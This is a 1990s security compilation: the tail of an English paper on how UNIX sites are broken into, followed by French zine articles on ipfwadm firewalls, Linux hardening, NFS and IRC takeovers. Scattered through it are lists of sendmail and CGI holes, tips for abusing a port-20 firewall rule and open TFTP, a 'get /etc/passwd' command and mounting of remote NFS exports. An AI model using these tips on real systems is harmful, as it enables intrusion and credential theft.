Disable or delete unused/dormant system or user accounts. * Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of. * Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants. It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system. Conclusions Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?" We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other. While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site. ---------------------------------------------------------------------------- Appendix A: SATAN (Security Analysis Tool for Auditing Networks) Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify. SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format. The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet. ---------------------------------------------------------------------------- Appendix B: An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts. Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.) You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like. ---------------------------------------------------------------------------- Appendix C: After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed. ---------------------------------------------------------------------------- Appendix D: How to get some free security resources on the Internet Mailing lists: * The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list. * The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list. * The Firewalls mailing list. Send the following line to majordomo@greatcircle.com: subscribe firewalls * Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. Free Software: COPS (Computer Oracle and Password System) is available via anonymous ftp from ftp://ftp.win.tue.nl/pub/security/. The latest version of berkeley sendmail is available via anonymous ftp from ftp://ftp.cs.berkeley.edu/ucb/sendmail/. Sources for ftpd and many other network utilities can be found in ftp://ftp.uu.net/packages/bsd-sources/. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp://ftp.uu.net/usenet/comp.sources.misc/volume40/iss/. Securelib is available via anonymous ftp from ftp://ftp.uu.net/usenet/comp.sources.misc/volume36/securelib/. ---------------------------------------------------------------------------- Bibliography: Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished). Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990. Shimomura, Tsutomu, private communication. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. ---------------------------------------------------------------------------- Suggested reading: Bellovin, Steve, Security Problems in the TCP/IP Protocol Suite, Computer Communication Review 19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989. Garfinkle, Simson and Spafford, Gene, Practical UNIX Security, O'Reilly and Associates, Inc., 1992. Hess, David, Safford, David, and Pooch, Udo, A UNIX Network Protocol Study: Network Information Service, Computer Communication Review 22 (5) 1992. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27. Ranum, Marcus, Firewalls internet electronic mailing list, Sept 1993. Schuba, Christoph, Addressing Weaknesses in the Domain Name System Protocal, Purdue University, August 1993. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8),1984. -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- FIREWALL BY Trom -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- LES FIREWALLS PAR TROM Cette documentation est purement à but éducatif , je ne pourrais pas être tenu responsable de son utilisation . De plus si vous avez des remarques à me faire , elles seront les biens venues ! J'invite tous les experts de sécurité à me contacter . En effet j'aurais quelques questions à poser , quelques théories à vérifier et quelques files à demander . Sur ceux je vous laisse à mon aide en espérant qu'elle étanche un peu votre soif de savoir ! I Présentation . . 1/Objectf du firewall . Les firewalls ont obtenu une grande renommée en matière de sécurité sur Internet . Ils ont deux objectifs  : Þ Protéger le réseau interne contre les tentatives d'intrusion provenant de l'extérieur . (extérieur vers intérieur) Þ Limiter et vérifier les connexions provenant du réseau interne vers extérieur . (intérieur vers extérieur) 2/Fonctionnement du Firewall . Le principe du firewall est relativement simple . A l'origine un firewall est un système comportant deux interfaces réseau . (Je vous passe l'explication bidon du mot qui en fait nous vient de l'automobile) Remarque : Il se peut que l'isolement de la totalité du réseau ne soit pas nécessaire . A ce moment le réseau à sécurisé est relie au sous réseau par un FW et le sous réseau est relié à Internet par un routeur . Pour la suite on prendra le premier cas , celui ou l'on souhaite protéger tout le réseau local . On a en fait une interface interne reliée au réseau local et une interface externe reliée à internet . L'ordinateur firewall peut atteindre à la fois le réseau protégé et internet . Le réseau protège ne peut atteindre l'internet et internet ne peut toucher le réseau protège . 3/Principale différence entre un FW et un routeur IP . Le routeur prend en charge les paquets jusqu'à la couche IP . Le routeur transmet chaque paquet en fonction de l'adresse de destination du paquet et de la route vers la destination précisée dans la table de routage . Par contre le firewall ne transmet pas les paquets . Le pare feu accepte les paquets et les prend en charge jusqu'à la couche application . II Les différents types . 1/Filtres de paquet . Un firewall de ce type inspecte tous les paquets qu'il recoie et regarde s'ils correspondent aux règles préalablement établis. S'il respecte les règles il est accepté sinon il est rejeté . Les critères des règles peuvent être par exemple l'adresse IP , les ports sources et destination contenu dans les paquets . 2/ Les Proxies .  Lorqu'un firewall de type proxy est utilisé sur un réseau , il n'y a aucune connexion directe entre les systèmes du réseau local et le réseau internet . Les machines internes se connectent en fait au firewall pour lui demander un service . Après le FW se charge de relayer la requête au serveur internet puis de renvoyer la réponse au client interne 3/Les hybrides . Ils tentent de concilier le meilleur des deux technologies précédentes . Je ne sais pas grand chose dessus mais je sais qu'il existe la technologie Stateful Inspection implantée dans Checkpoint Firewall-1 . Voilà tout ce que je peux dire ! (ok c pas grand chose) III Filtre de paquet . ÞLa technologie de filtre de paquets est incluse dans le noyau de Linux . Le filtre doit agir dans la pile IP du système . Pour utiliser cette technique vous allez devoir une fois de plus recompiler le noyau (Youpi vous allez bien vous marrez ) et répondre YES aux questions suivantes : IP : forwarding/gatewaying (CONFIG_IP_FORWARD) YES IP : firewalling (CONFIG_IP_FIREWALL) YES IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE) YES Le noyau compilé , installé , redémarré vous allez être en mesure de configuré le FW. ÞPour cela on va utilisé ipfadm . La syntaxe générale est : ipfwadm -A commande paramètres [options] ipfwadm -I commande paramètres [options] ipfwadm -O commande paramètres [options] ipfwadm -F commande paramètres [options] ipfwadm -M [-l ou -s] [options] Comme vous venez de le voir il y a cinq catégories : -A configuration de l'accounting (compatibité des paquets atteignant le système) . -I règles à appliquer aux paquets TCP/IP en entrée . -O règles à appliquer aux paquets TCP/IP en sortie . -F règles à appliquer aux paquets TCP/IP à router d'une interface à une autre . -M administration de l'IP Masquerading . Perso je pourrais vous parler que des categories I , O , F , M. ipfwadm possède de très nombreuses options que je vais pas décrire ici par ce j'ai pas envie ! Lisez la doc linux . ÞAvant de créer toute règles de filtre IP , vas falloir définir des règles de sécurité . Par exemple pour ma machine on va dire : Toute connexion du réseau internet vers une machine interne est interdite . De extérieur , on doit avoir accès au serveur de messagerie et au service DNS du firewall . On va dire qu'on a un réseau interne de type 193.1.1.0/24 et qu'on est relié à un sous réseau de type 193.1.2.0/24 (entre le FW et le routeur) . Le FW ayant pour adresse 193.1.1.254 en interne (eth0) et 193.1.2.1 en externe (eth1) . Je vais maintenant dire quelques uns des filtres que j'applique -ipfwadm -O -p accept La règle par défaut des paquets en sortie est accept (-p représente l'action par défaut) - ipfwadm -I -p deny La règle par défaut des paquets en entrée est deny . -ipfwadm -F -p deny La règle par défaut des paquets à router en entrée est deny . -ipfwadm -F -a accept -S 193.1.1.0/24 -D0/0 -P tcp Autorisation pour router tous les paquets TCP provenant de l'extérieur . -ipfwadm -I -a deny -S 193.1.1.0/24 -D0/0 -W eth1 Cette commande sert à lutter contre le SPOOFING (changer son adresse IP) en effet cette règle dit que tous les paquets qui rentrent dans le sous réseau sécurisé et qui ont une adresse source correspondant à une adresse du sous réseau (ce qui n'est pas logique) doivent être rejeté ! -ipfawadm -I -a accept -P udp -S0/0 -D 193.2.1.1 53 -ipfawadm -I -a accept -P tcp -S0/0 -D 193.2.1.1 53 Ces mesures disent que les accès au serveur DNS (port 53) sont accessible de n'importe où . -ipfawadm -I -a accept -P udp -S0/0 -D 193.2.1.1 25 Accès au serveur SMTP du firewall de n'importe où .  Malheureusement on retrouve là le plus grand inconvenient des FW . En effet dans l'état actuelle système on ne pourra pas faire fonctionner un client FTP du réseau interne avec un serveur situé à l 'extérieur . Le protocole FTP prévoit l'établissement d'une connexion du serveur FTP vers le client (du port 20 -> port > 1024) Mais il y a des solutions . - Utiliser le client FTP en mode passif (A ce moment le client établit une connexion vers le serveur ftp) - Utiliser un proxy(voir section suivante) installé sur le FW qui relaiera les requêtes de l'intérieur vers extérieur . - Utiliser l'IP masquerading . - Ou alors rajouter cette règle ipfwadm -F -a accept -P tcp -S0/0 20 -D 193.1.1.0/24 1024-65535 Remarque intéressante : Si vous tombez sur un système avec une règle de ce type , vous pouvez en profitez , en effet cette règle expose les services du réseau interne qui écoutent sur un port >1024 . A partir de la vous avez plus qu'a fait partir un paquet du port 20 de votre machine vers un service . Beaucoup de services tournent sur ce port (serveurs X window...) . Note : n'oubliez pas de configurer les clients de telle façon que le routeur par défaut soit le FW . IV IP MASQUERADING . ÞC'est un technique de plus en plus utilisée . Elle consiste à masquer totalement l'adressage IP du réseau interne ( On peut donc utiliser des adresses IP privées ) . Ainsi chaque paquet qui traverse le firewall est modifié pour faire croire qu'il n'y a qu'un seul système connecté . Tout le réseau interne partage ainsi l'adresse IP (externe) du FW . ÞInstallation : Bon beh va falloir recompiler le noyau (c'est la fête !) et répondre YES aux questions : IP : forwarding/gatewaying (CONFIG_IP_FORWARD) IP : firewalling (CONFIG_IP_FIREWALL) IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE) IP : masquerading (CONFIG_IP_MASQUERADE) IP : ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP) (Répondez oui que si le FW doit router les paquets ICMP) ÞMaintenant vous allez être en mesure d'utiliser une autre des 5 options d'ipfwadm : l'option -M . Pour cela utiliser l'option -l qui liste les connexions qui utilisent l'IP masquerading et -s qui fixe le timeout . Pour autoriser le masquerading il faudra les règles suivantes - ipfwadm -F -p deny - ipfwadm -F -a masquerade -S 192.10.10.0/24 -D0/0 V PROXY . ÞD'après ce que j'ai lu et ce qu'on m'a dit la meilleure solution pour utiliser une machine Linux en proxy consiste à utiliser l'ensemble d'outils qu'offre TIS . Ils fournissent un package connu sous le nom de FW toolkit . Vous pouvez le telecharger sur le site Web de TIS http ://www.tis.com/docs/products/fwtk/index.html ÞInstallation Bon comme vous allez être un Proxy , il va falloir forcement désactiver la fonction de routeur de linux . Pour cela on recompile le noyau en répondant NO au forwarding/gatewaying (CONFIG_IP_FORWARDING) . Vous êtes pas obligé de mettre cette option mais si vous ne le faites pas les machines du réseau interne seraient directement accessibles de l'extérieur à travers les possibilités du FW . Bon vous compilez les outils TIS en suivant les instructions . ÞConfiguration La table netperm reside dans le fichier /usr/local/etc/netprem-table . Cette table décrit la configuration principale de tous les composants du Trusted Firewall Toolkit . Quand une des applications est lancée elle va chercher sa config dans cette table ÞDescription : -Netacl : Cette app permet de donner l'accès aux différents services TCP . Ce programme se démarre depuis le super-démon inetd . Si par exemple on ajoute au fichier /etc/inetd.conf telnet stream tcp nowait root /usr/local/etc/netacl telnetd Avec ca quand une requête atteint le port ftp du systeme netacl se démarre avec comme paramètre telnetd . Mais avant que le demon soit lance le logiciel vérifie que la requête est valide selon la table . Par exemple si je veux autorise aux personnes de mon réseau interne de se connecter au telnet du FW faudra ajouter : netacl-telnetd : permit-hosts 193.1.1.* -exec /usr/sbin/in.telnetd (note 193.1.1.* équivaut à 193.1.1.0/24) Après on a aussi tous les logiciels qui implementent un relais pour les services . En fait le client fait d'abord une requête au service du FW puis de la fait une requête pour se connecter au site extérieur . Selon les règles du proxy cette connexion sera refusée ou acceptée . -tn-gw : relais pour le service telnet . -ftp-gw : relais pour le service ftp . -rlogin-gw : relais pour le prowy rlogin . -http-gw : relais pour client HTTP et gopher .( pratique pour empecher certaines applications JAVA ) .... Il y en a d'autres mais je les connais pas tous donc pour plus de renseignement allez voir vous même ! exemple de config de /usr/local/etc/netperm-table : tn-gw : deny-hosts * -dest 193.1.1.* Interdiction a ces machines d'accéder au service telnet . tn-gw : permit-hosts 193.1.1.25 autorise la machine 193.1.1.25 a accéder au service telnet . Pas compliqué et je vous jure que c'est incroyable tout ce que l'on peut faire et les espèces de trou dans la sécurité que ca peut faire ! VI Assainissement et protection du Firewall . Bon vous avez compris , quand on veut attaquer un système qui possède un FW il y a pas 36 choix il faut attaquer le FW . Alors reste plus qu'à trouver les points faibles et donc il faut vérifier la protection de cette machine . On va maintenant voir comment on assainie un Firewall . Premierement, regardez le fichier /etc/inet.conf. Ce fichier est ce qu'on appelle un "super-serveur". Il lance un tas de demons serveurs sur demande . Il contient la liste des services offerts . Il faut enlever tous les services qui ne sont pas parfaitement obligatoire comme NIS, NFS, rsh, rcp,netstat,systat,tftp,bootp et finger... NOTE qui peut faire gagner du temps : Il n'est pas nécessaire de tout désactiver. Pour désactiver un service, placez simplement un # devant. Ensuite envoyez un signal SIG-HUP au processus inetd, selon la syntaxe suivante : kill -HUP , ou pid est le numéro du processus inetd.(Pour avoir le PID si vraiment vous êtes débutant sous linux , faites ps -uax |grep inetd ) . Cela force inetd a relire son fichier de configuration (inetd.conf) et a se relancer . Petite astuce : Si TFTP est ouvert tenté le coup , ce protocol permet de transferer des fichiers comme ftp mais s'appuie sur le protocol UDP. Il est donc moins sur et ne peut servir que pour les fichiers de petite taille . Mais surtout il ne demande pas de MOT DE PASSE ET DE COMPTE UTILISATEUR ! Donc tout utilisateur qui a accès au port 69a accès à tous les fichiers lisibles par le demon correspondant . Il y a peut être de bonnes infos à prendre . Pour la sécurité Il faut aussi bien évidemment supprimer tous les comptes utilisateurs inutiles . Il faut aussi supprimer tous les packages installés qui n'ont rien à faire sur un firewall comme X window , les services NFS et Samba , les jeux (Ok c'est discutable pour le dernier ) ..... Exemple type de machine ou on installe un firewall : Je vais prendre mon PC , un 166MMX , 32 Mo de Ram et une partition de 800 Meg pour Linux avec une connexion PPP a un fournisseur internet (ça je l'ai pas encore L ) par un modem 36,6 kbps. Pour en faire un firewall , On ajoute un carte ethernet compatible NE2000. Il est alors connecte a trois autres PC . Et voilà un FireWall typique . ÞPour protéger le firewall (en effet c'est lui qui va se prendre dans la gueule toutes les attaques) il faut utiliser un filtre de paquet . Pour faire ca on recompile le noyau avec ces options : IP : forwarding/gatewaying (CONFIG_IP_FORWARD) NO IP : firewalling (CONFIG_IP_FIREWALL) YES IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE) YES On s'inspira des règles sur le filtrage des paquets exposé dans le III notamment celle contre le spoofing ! Bon la c'est tout , bientôt une nouvelle version de ce texte ! Mon site:www.altern.org/trom tromh@yahoo.com P.S: excusez nous car cette version est beta et non adapté à un format "txt". -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Eviter de se faire hack sous Linux. -> By Lionel -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Quelques notions de securité. Voici quelques precautions a prendre: - Se mettre au courant des eventuels trous existant sur la machine. - Installé un ipfwadm pour filtrer quelque port (prener le petit prog "firewall.c" dans le rep "prog" sa ira plus vite que ipfwadm -I ...) : - 6000 -> Xwin - 2049 -> nfs (mountd) - 515 -> print - 139 -> samba - 110 -> pop3 - 80 -> server web - 79 -> finger - 25 -> smtp - 23 -> telnet - 21 -> ftp Bon y en a d'autre mais pour savoir se que vous avez de ouvert ,prenez nmap puis faite nmap -sT 127.0.0.1 et vous aurrez la liste de vos port tcp ouvert. Mais sinon vous avez d'autre solution si vous vous servez pas de ces services , vous allez dans /etc/rc.d/init.d/ puis vous faite mv fichier no_fichier et apres un ptit reboot et tous se que vous avez foutu en no_fichier ne se lancera pas.Y a aussi /etc/inetd.conf et la vous foutez un # devant se que vous ne voulez pas. Quand vous mettez des password pour root , user , n'importe quoi , mettez des trucs compliquez du genre Z@4l!c9- avec sa le cracker il va se faire chier.Puis changés les souvent (tous les mois). Bon maintenent on va verifier que ont a pas de ".rhost" avec "++" donc en root on fait find / -name *rhost* . Si il en trouve un detruit le ou verifie que y est pas "++" de dans si tu dois t'en servir. On attaque le /etc/hosts.equiv ben si y en a pas t'en mieux si y en a 1 ben on verifie qui est pas de "+". On verifie que le nfs exporte bien des directory avec un nom de machine a la suite :pp dans -> /etc/exports. Le sendmail on verifie que sa sois pas un qui est un bug ou on cherche dans le list presente dans le mag ou dans bugtraq. On peut restreindre l'access de certains demons a certaines machines en modifiant les fichiers /etc/hosts.deny et /etc/hosts.allow. Pour ma part, le demon rlogin est uniquement autorise sur mon reseau local, ce qui se presente de la maniere suivante : # hosts.deny This file describes the names of the hosts which are # *not* allowed to use the local INET services, as decided # by the '/usr/sbin/tcpd' server. # # Interdire par defaut le demon rlogin in.rlogind:ALL # ALL:ALL (interdit tous les demons) # hosts.allow This file describes the names of the hosts which are # allowed to use the local INET services, as decided # by the '/usr/sbin/tcpd' server. # # Autorise le demon rlogin a etre lance depuis mon reseau local dont le # reseau est 10.0.0.0 qui est naturellement firewalle du a la norme RFC 1597 # et dont les IPs sont reservees aux reseaux prives, tout comme les reseaux de # 10.0.0.0 a 10.255.255.255, de 172.16.0.0 a 172.31.255.255, et 192.168.0.0 # a 192.168.255.255. Note : il est preferable de donner des IPs que des noms # de domaines et/ou de machines, car un DNS est vulnerable, sans oublier que # certaines machines spoofables. in.rlogind:10. # ALL:10.,195.132. (autorise tous les demons depuis les IPs en 10.* et # 195.132.*) Pour le httpd verifie qui est pas de merde cgi qui foire(voir list ou bugtraq). Pour le tftp ben fait tftp 127.0.0.1 -> get /etc/passwd . Si sa dit ping out c'est bon par contre si sa te donne ton fichier passwd ben tu es baisé , alors enleve le :pp . Apres sa tu es securisé contre les petits hackers :) C'est deja sa de gagné. Un truc install ssh c'est pas mal pour la secu en local , sa crypte tes données (voir article). Jetter un coups d'oeil sur le doc -> firewall et le prog -> jail-1.5 ,cops. Si tu veus te sécuriser en local on vera pour un prochain article car y a du boulot :p . Thanks to noroute , rewt4 , zyrtex , machnead ,cod4 et les autres. cronos56@yahoo.com Cyao -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- List sendmail bug -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------- Hole Version of Sendmail ----------------------------------------------------------------- = WIZ = *oLD* = DEBUG = *oLD* = TURN = *oLD* = OVERFLOW INPUT BUFFER = *oLD* = DECODE ALIAS = *VrFy* = qf SunOS = *SunOS-sendmailV5.1* = -oR SunOS = *SunOS-sendmailV5.22* = -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)* = OVERWRITE FILES = *FiXED iN 5.59* = -oQ = *DuNNo* = |PROGRAM = *TeSTeD oN 5.55* = .forward = *5.61* = TAIL = *TeSTeD oN 5.65* = -C = *oLD* = 4.1 = *TeSTeD oN 4.1* = -d########### = *8.X.X <8.6.7* = -oE/filename bounce= *8.6.7* = 8.6.9 ident = *8.6.9* = 8.6.9 newlines = *8.6.9* = 8.6.10 ident/newlines = *8.6.10* = HP-UX = *HP-UX 9.x* = 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12* = mime7to8() = *8.8.0* = smtpd = *8.7-8.8.2* = HELO = *8.8.8* = ?? = *8.9.1a/8.9.0* ---------------------------------------------------------------- Y en a surement d'autre si tu veus plus d'info -> BUGTRAQ END -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- List cgi bug By Lionel -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Salut dans ce mini article je dirais pas comment exploiter ces bugs mais juste donner les noms de ces cgis (pour plus d'info bugtraq): - phf - Count.cgi - test-cgi - php.cgi - handler - webgais - websendmail - webdist.cgi - faxsurvey - htmlscript - pfdisplay - perl.exe - wwwboard.pl Voila END :pp cronos56@yahoo.com -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------------------- ~~# PROGRAMME #~~ ----------------------------------------------------------------------------- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- NFS(Network File System) -> By Lionel -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- NFS est un protocole situe au niveau de la couche application. Il permet en fait le partage de fichiers entre les machines d'un reseau. Mais cela de facon totalement transparente. Vous ne voyez pas que vous travaillez sur des fichiers qui se situent sur une autre machine. Vous mountez le repertoire distant et c'est bon. Generalites: NFS a ete invente pour permettre de monter des fichiers ou repertoires d'une machine serveur, sur un repertoire de la machine locale. de la meme facon que l'on mounte un CD-ROM ou une disquette. Le contrôle d'accés NFS se fait sur l'UID et le GID et non pas sur un loggin ou un password. Afin d'utiliser correctement NFS, il est donc necessaire de posseder les mêmes UID et GID sur les deux machines. Toute machine du domaine peut jouer le role de SERVEUR ou CLIENT, mais dans la pratique, il y a souvent qu'un seul SERVEUR pour le reseau. Il est une chose interressante a constater avec NFS, c'est que NFS est sans mémoire, c'est à dire : qu'il n'y a pas de mémorisation des opérations successives effectuées par le serveur sur l'état des clients ou sur les transactions de fichiers. Par exemple : l'opération d'ouverture n'est pas memorisée par le serveur mais par le client. Voyons maintenant comment utiliser NFS. Pour voir les fichiers exportes (etc/exports) par une machine faites: # showmout -e www.dest.fr export list for www.dest.fr /usr (everyone) /cdrom (everyone) /export/dest/ linda La, on peut voir que NFS exporte /usr /cdrom en everyone (tout le monde peut le mounter). Mais on voit aussi que /export/dest/ est accesible que pour la machine linda. Ensuite, pour mounter un systeme de fichiers NFS faites: # mount -t nfs www.dest.fr:/usr /mnt Voila le repertoire /usr de www.dest.fr est maintenant dans notre repertoire /mnt . END cronos56@yahoo.com -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------------------- ~~# IRC #~~ ----------------------------------------------------------------------------- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Eviter les takes over et les attaques "denial of services" sur IRC. -> By Lionel -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Un peut de voca: -Take over (TO) : C'est les pirates qui prennent les channels IRC. -Attaque denial of services ou flood : c'est une personne qui exploit un bug de votre sys se qui produit un blockage du systeme et obligation de reboot ou dans certain cas (ex:flood) deconnection d'internet et lags, il se peut aussi qu'il clac un service (ex:httpd). Bon ben comment evité sa :pp on peut pas faire de mircale. -installer un bon kernel stable (ex:2.0.35) -> pour evité les attaques -installer ipfwadm -> pour evité les attaques -installer un detecteur (jail-1.5) pour sniff (voir porter plainte).-> pour detecter les attaques -avoir un bon client irc style BitchX . -> pour evité les attaques -Ne pas etre un debile profond!!-> pour evité les TO -Etre tjrs prudent , ne jamais agire par impulsion!-> pour evité les TO -register son chan (si chanserv ou W) -> pour evité les TO -Bien config son bot -> pour evité les TO Quand on vous TO , les pirates on plusieurs solutions exploiter vos bugs ou social!! -En premier si c'est un pirate intelligent va essayer la fainte: Il risque de faire degagé un op puis il va prendre son nick et va demendé de le op, en cas que sa soit vraiment le mec vous lui posé des questions que seul lui connais. -2eme solution il vous sort qu'il est un ircop ou policié du net enfin du blabla et vous demande de le op pour x reson. Ne le oper pas car meme si c'est un ircop ou un flic il peut se demerdé tous seul pour se oper. -3eme solution il va regarder les bot qui auto-op voir si y a pas une host qui pourrais spoof qui ressemble a celui qui est en auto-op donc evité les auto-op. -4eme solution il va chercher votre pass du bot ou chanserv ,.. alors fouter un truc dur a trouver style "D@n0sp.!". -5eme solution et la plus dangereuse le denial of services ou flood :pp alors la si ta pas un bon kernel et un ipfwadm bien config , et un bon client irc tu es foutu! Donc je conseille le client BitchX + ipfawdm (tu block les pkts icmp et quelque port tcp,udp sensible) et le kernel 2.0.36 ou 2.0.35 :pp et surtous pris puis porte plainte 